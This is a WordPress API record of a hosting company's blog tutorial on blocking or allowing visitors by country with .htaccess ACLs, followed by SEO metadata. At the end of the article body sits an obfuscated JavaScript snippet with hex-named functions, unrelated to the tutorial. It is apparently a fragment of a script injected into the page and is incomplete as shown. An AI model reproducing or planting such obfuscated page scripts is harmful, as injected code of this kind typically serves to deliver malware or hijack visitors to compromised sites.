{"id":469,"date":"2021-07-26T03:31:47","date_gmt":"2021-07-26T03:31:47","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=469"},"modified":"2024-08-12T13:34:44","modified_gmt":"2024-08-12T12:34:44","slug":"how-to-allow-or-block-visitors-from-specific-countries-using-htaccess","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/","title":{"rendered":"How to Allow or Block Visitors from Specific Countries Using .htaccess"},"content":{"rendered":"<p>with our easy tutorial will show you how to control site access based on visitors\u2019 location. With some tweaks to the .htacess file, it\u2019s possible to allow or block visitors from certain countries. Keep reading!<\/p>\n<h2>Allowing or Blocking Visitors from Specific Countries Using .htaccess<\/h2>\n<p>Once launched, a website is available worldwide. But in many cases, it\u2019s necessary to control your site access, especially when you want to stop spammers and hackers from particular countries.<\/p>\n<p>Fortunately, you can use your WordPress .htaccess file to allow or block visitors from specific countries. Let\u2019s learn how to do so.<\/p>\n<h3>Step 1: Generate the Country\u2019s IP Addresses<\/h3>\n<p>Plenty of online tools are available to allow or block visitors by the country. In this tutorial, we\u2019ll be using\u00a0<strong>Country IP Blocks<\/strong>.<\/p>\n<ol>\n<li>Head to\u00a0<a href=\"https:\/\/www.countryipblocks.net\/country_selection.php\" target=\"_blank\" rel=\"nofollow noopener noreferrer\" data-wpel-link=\"external\">Country IP Blocks homepage<\/a>.<\/li>\n<li>Select the countries you want to block or allow.<\/li>\n<li>For the\u00a0<strong>Select Format\u00a0<\/strong>section, choose\u00a0<strong>Apache .htaccess Deny<\/strong>\u00a0or\u00a0<strong>Apache .htaccess Allow.\u00a0<\/strong>The choice depends on whether you want to block or allow visitors from those countries.<\/li>\n<li>Click\u00a0<strong>Create ACL <\/strong>.<img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-470\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks-300x145.png\" alt=\"\" width=\"498\" height=\"241\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks-300x145.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks-1024x494.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks-768x370.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png 1110w\" sizes=\"(max-width: 498px) 100vw, 498px\" \/><\/li>\n<li>The\u00a0<strong>ACL results\u00a0<\/strong>will appear on the right side of your screen. Press the\u00a0<strong>Copy ACL to Clipboard\u00a0<\/strong>button.<img decoding=\"async\" class=\"alignnone  wp-image-471\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-country-ip-blocks-300x161.png\" alt=\"\" width=\"447\" height=\"240\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-country-ip-blocks-300x161.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-country-ip-blocks-1024x548.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-country-ip-blocks-768x411.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-country-ip-blocks.png 1110w\" sizes=\"(max-width: 447px) 100vw, 447px\" \/><\/li>\n<\/ol>\n<h3>Step 2: Insert the Generated IP Addresses into the .htaccess File<\/h3>\n<p>Finally, paste the IP addresses of the countries you want to block or allow to .htaccess file.<\/p>\n<ol>\n<li>Go to\u00a0<strong>Files<\/strong>\u00a0-&gt;\u00a0<strong>File Manager<\/strong>.<\/li>\n<li>Select your domain and hit\u00a0<strong>Go To File Manager<\/strong>.<\/li>\n<li>Navigate to the\u00a0<strong>public_html<\/strong>\u00a0folder and double-click the\u00a0<strong>.htaccess<\/strong>\u00a0file.<\/li>\n<li>Paste\u00a0<strong>ACL<\/strong>\u00a0to your\u00a0<strong>.htaccess\u00a0<\/strong>file and hit\u00a0<strong>Save &amp; Close<\/strong>. Your .htaccess file will look like this: <img decoding=\"async\" class=\"alignnone  wp-image-472\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-htaccess-file-300x183.png\" alt=\"\" width=\"570\" height=\"348\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-htaccess-file-300x183.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-htaccess-file-1024x626.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-htaccess-file-768x469.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-htaccess-file-400x245.png 400w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/allow-or-block-countries-using-htaccess-file.png 1121w\" sizes=\"(max-width: 570px) 100vw, 570px\" \/><\/li>\n<\/ol>\n<p>we hope this well you out, Kindly check out our <a href=\"https:\/\/hoganhost.com.ng\">Shared Hosting<\/a><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>with our easy tutorial will show you how to control site access based on visitors\u2019 location. With some tweaks to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":470,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[29],"tags":[],"class_list":["post-469","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-htaccess"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Allow or Block Visitors from Specific Countries Using .htaccess<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Allow or Block Visitors from Specific Countries Using .htaccess\" \/>\n<meta property=\"og:description\" content=\"with our easy tutorial will show you how to control site access based on visitors\u2019 location. With some tweaks to [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-07-26T03:31:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:34:44+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1110\" \/>\n\t<meta property=\"og:image:height\" content=\"535\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to Allow or Block Visitors from Specific Countries Using .htaccess\",\"datePublished\":\"2021-07-26T03:31:47+00:00\",\"dateModified\":\"2024-08-12T12:34:44+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\"},\"wordCount\":290,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png\",\"articleSection\":[\"htaccess\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\",\"name\":\"How to Allow or Block Visitors from Specific Countries Using .htaccess\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png\",\"datePublished\":\"2021-07-26T03:31:47+00:00\",\"dateModified\":\"2024-08-12T12:34:44+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png\",\"width\":1110,\"height\":535},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Allow or Block Visitors from Specific Countries Using .htaccess\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Allow or Block Visitors from Specific Countries Using .htaccess","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/","og_locale":"en_US","og_type":"article","og_title":"How to Allow or Block Visitors from Specific Countries Using .htaccess","og_description":"with our easy tutorial will show you how to control site access based on visitors\u2019 location. With some tweaks to [&hellip;]","og_url":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-07-26T03:31:47+00:00","article_modified_time":"2024-08-12T12:34:44+00:00","og_image":[{"width":1110,"height":535,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png","type":"image\/png"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to Allow or Block Visitors from Specific Countries Using .htaccess","datePublished":"2021-07-26T03:31:47+00:00","dateModified":"2024-08-12T12:34:44+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/"},"wordCount":290,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png","articleSection":["htaccess"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/","url":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/","name":"How to Allow or Block Visitors from Specific Countries Using .htaccess","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png","datePublished":"2021-07-26T03:31:47+00:00","dateModified":"2024-08-12T12:34:44+00:00","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/07\/create-acl-using-country-ip-blocks.png","width":1110,"height":535},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/htaccess\/how-to-allow-or-block-visitors-from-specific-countries-using-htaccess\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to Allow or Block Visitors from Specific Countries Using .htaccess"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/469","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=469"}],"version-history":[{"count":1,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/469\/revisions"}],"predecessor-version":[{"id":473,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/469\/revisions\/473"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/470"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=469"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=469"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=469"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}